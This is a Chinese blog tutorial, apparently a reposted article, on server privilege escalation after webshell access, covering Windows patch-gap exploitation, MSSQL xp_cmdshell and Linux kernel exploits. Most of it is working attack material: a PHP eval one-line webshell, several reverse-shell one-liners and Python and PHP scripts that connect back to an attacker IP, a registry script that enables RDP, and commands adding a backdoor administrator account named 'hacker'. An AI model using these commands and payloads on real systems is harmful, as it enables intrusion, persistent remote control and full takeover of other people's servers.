当前位置:   article > 正文

提权(概述、水平/垂直越权、windows/linux提权、反弹shell、Linux_Exploit_Suggester、searchsploit)

提权

提权

一、概述

提权即提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升webshell权限以夺得该服务器权限。

二、水平越权&垂直越权

水平越权:指相同权限下不同的用户可以互相访问;

垂直越权:指使用权限低的用户可以访问到权限较高的用户;

比如:一个论坛网站有两个普通用户A和B,还有一个管理员C,A获得了删除B帖子的权限就是水平越权;A获得了删除C帖子的权限就是垂直越权。

水平越权测试方法:主要通过看看能否通过A用户操作影响到B用户;

垂直越权测试思路:看看低权限用户是否能越权使用高权限用户的功能,比如普通用户可以使用管理员的功能。

三、分类

- windows

如果web服务器是基于 IIS 服务器, 尽量上传一个aspx的大马,因为asp脚本权限比较低,当你用asp大马执行cmd命令时,可能会出现拒绝访问。

windows提权分为:系统漏洞提权和第三方软件提权。

1. 基于windows2003
  1. 信息收集

在aspx大马的cmd下执行查找补丁命令

systeminfo>C:\Windows\Temp\a.txt&(for %i in
(KB3057191 KB2840221 KB3000061 KB2850851
KB2711167 KB2360937 KB2478960 KB2507938
KB2566454 KB2646524 KB2645640 KB2641653
KB944653 KB952004 KB971657 KB2620712
KB2393802 KB942831 KB2503665 KB2592799
KB956572 KB977165 KB2621440) do @type
C:\Windows\Temp\a.txt | @find /i "%i" || @echo
%i Not Installed!)&del /f /q /a
C:\Windows\Temp\a.txt
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

结果,下图的补丁该系统均没有:

在这里插入图片描述

  1. 查找补丁对应漏洞编号
KB2360937 MS10-084
KB2478960 MS11-014 
KB2507938 MS11-056
KB2566454 MS11-062
KB2646524 MS12-003
KB2645640 MS12-009
KB2641653 MS12-018
KB944653 MS07-067
KB952004 MS09-012  PR
KB971657 MS09-041
KB2620712 MS11-097
KB2393802 MS11-011
kb942831 MS08-005
KB2503665 MS11-046
KB2592799 MS11-080
KB956572 MS09-012 烤肉
KB2621440 MS12-020
KB977165 MS10-015 Ms Viru
KB4013081 MS17-017
KB3139914 MS16-032
KB4013081 MS17-017
KB3139914 MS16-032
KB3124280 MS16-016
KB3134228 MS16-014
KB3079904 MS15-097
KB3077657 MS15-077
KB3045171 MS15-051
KB3000061 MS14-058
KB2829361 MS13-046
KB2850851 MS13-053 EPATHOBJ 0day 限32位
KB2707511 MS12-042 sysret -pid
KB2124261 KB2271195 MS10-065 IIS7 
KB3198234 MS16-135
KB970483 MS09-020 IIS6
KB3031432 MS15-015
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  1. 根据补丁编号查找EXP(漏洞的应用程序:.exe文件)

在这里插入图片描述

注意:如果无法上传EXP,说名该目录没有写权限,我们需要找肯定具备写权限的目录如:日志、缓存、回收站、大马所在目录等。

2. 基于windows2008
  1. 信息收集

在大马的cmd下执行查找补丁命令

systeminfo>C:\Windows\Temp\a.txt&(for %i in
(KB3124280 KB3143141 KB3134228 KB3079904
KB3077657 KB3124280 KB3045171 KB2829361
KB3000061 KB2850851 KB2707511 KB970483
KB2124261 KB2271195) do @type
C:\Windows\Temp\a.txt | @find /i "%i" || @echo
%i Not Installed!)&del /f /q /a
C:\Windows\Temp\a.txt
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

在这里插入图片描述

  1. 查找补丁对应漏洞编号;

  2. 根据补丁编号查找EXP,这里我们使用ms15-051的exp

在这里插入图片描述

  1. 使用本地远程连接工具连接该主机

1)需要开启3389端口 ,创建一个.bat文件

echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber" =dword :00000d3d>>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在这里插入图片描述
在这里插入图片描述

2)创建windows用户

# 创建一个hacker用户
net user hacker 123.com /add
# 将它加入administrators组
net localgroup administrators hacker /add
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述
在这里插入图片描述

3)运行 mstsc.exe

在这里插入图片描述
在这里插入图片描述

成功连接!

3. ms SQL提权

ms SQL是指微软的SQLServer数据库服务器。

使用xp_cmdshell,执行cmd操作;xp_cmdshell是开放接口,它可以调用cmd命令,直接用SQL语句实现cmd操作。

前提:获取ms SQL sa用户的密码。

实验环境:windows 7 + SQL Server服务器。

  1. 下载对应版本的SQL Server;

  2. 启动sql server服务器;

在这里插入图片描述
在这里插入图片描述

  1. 使用sql tools工具连接,使用xp_cmdshell执行cmd命令,获得system权限;

在这里插入图片描述

5. nc反弹shell
  1. shell:命令解释器
    正向shell:主机主动连接服务器,服务器开启ssh端口;
    反向Sehll:服务器主动连接主机,主机监听某一个端口;
    反弹shell是基于webshell的,webshell基于http协议(请求和响应)不是持久性连接,之所以反弹是为了建立持久性连接。

  2. NetCat是一款知名的网络工具,简称nc,有渗透测试中的“瑞士军刀”之称。它可以做端口扫描,tcp/udp连接,远程传输文件,甚至远程传输流媒体,而且还可以实现远程shell等。

  3. linux/mac上默认安装nc,可在命令行下输入nc -h查看;windows下可下载nc.exe工具使用。

在这里插入图片描述

  1. 示例

使用asp大马上传nc.exe文件到windows 2008服务器上,使用Linux自带的nc监听端口;

# 监听端口
nc -lvvp 端口号

# 执行cmd命令
nc.exe -e cmd.exe 反弹到的主机IP地址 端口号
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述
在这里插入图片描述

- 注意:

如果目标使用的是套件搭建的网站如:phpstudy、xampp、wampserver等,当我们获取WebShell之后就是系统或管理员权限;如果是宝塔搭建的安全防御比较高,它禁用很多函数,我们需要考虑绕过。

- Linux

Linux提权分为:利用系统漏洞提权(内核提权)和第三方软件提权。

实验环境:

目标服务器:开启80端口的CentOS 7(IP地址:192.168.40.138);

攻击端:kali(IP地址:192.168.40.131)

CentOS 7安装apache服务:yum install httpd -y,可能当你访问网页时无法解析PHP代码,直接显示的PHP源码,解决办法:

# 1. 缺少了一个php扩展:mod_php
yum install mod_php
# 2. 在 /etc/httpd/conf目录下修改配置文件httpd.conf,在AddType application/x-gzip .gz .tgz 下面添加
AddType application/x-httpd-php .php 
# 3. 在<IfModule dir_module>模块下把中间那一行改为
DirectoryIndex index.html index.htm index.php
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
1. 信息收集

uname -a

在这里插入图片描述

2. 获取webshell
  1. 在目标服务器的www目录下,放置PHP的一句话木马文件;
<?php 
@eval($_REQUEST['cmd']); 
?>
  • 1
  • 2
  • 3
  1. 使用中国蚁剑连接;

在这里插入图片描述

当前我们是apache网络用户:

在这里插入图片描述

3. 反弹shell
  1. 将shell反弹到kali主机上,kali监听1234端口

反弹shell方法:

# nc -e 可用
nc -e /bin/bash 192.168.40.131 1234
# -e 参数不可用
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.40.131 1234 >/tmp/f
# bash反弹
/bin/bash >& /dev/tcp/192.168.40.131 1234 0>&1
# 命令执行漏洞常用
bash -c 'bash -i >& /dev/tcp/192.168.0.103/6666 0>&1' 

# python脚本反弹
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.40.131',1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])

# PHP脚本反弹
<?php
$sock = fsockopen("192.168.40.131",1234);
$descriptorspec = array (
	    0 => $sock,
		1 =>$sock,
		2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec,$pipes);
proc_close($process);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  1. 这里我们使用python脚本反弹,上传脚本文件时一直出错,这里我们将脚本问价上传到自己的web服务器,然后拷贝url,在有写权限的目录下(/temp)使用wegt命令下载该脚本文件,再使用脚本反弹:
wget http://自己的web服务器+IP/脚本路径
  • 1

在这里插入图片描述

成功反弹:

在这里插入图片描述

这个实验反弹shell后直接就是root权限了,但一般不是,我们还需要后面的提权操作!

4. 进入交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
  • 1
  • 2

在这里插入图片描述

5. 提权
5.1 使用提权辅助脚本

Linux_Exploit_Suggester是一款根据操作系统版本号自动查找相应提权脚本的工具。

将linux-exploit-suggester.sh脚本文件上传到目标服务器

在这里插入图片描述

给脚本加执行权限,执行该辅助脚本,就会显示一些漏洞编号,可以尝试使用它们进行提权:

在这里插入图片描述

5.2 使用kali漏洞库
  1. 使用kali自带的searchsploit去搜索漏洞库
searchsploit centos 7
  • 1
  1. 找到 Local Privilege Escalation (本地的特权升级)

在这里插入图片描述

  1. 使用命令将漏洞脚本拷贝至当前目录下:searchsploit -m 漏洞编号

  2. 将拷贝得到的脚本上传至目标服务器

kali开启http服务:python -m SimpleHTTPServer 8080,再使用wget命令下载文件。

wget http://192.168.40.131:8080/35370.c

在这里插入图片描述

  1. 编译运行提权脚本

在这里插入图片描述

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/503485
推荐阅读
相关标签
  

闽ICP备14008679号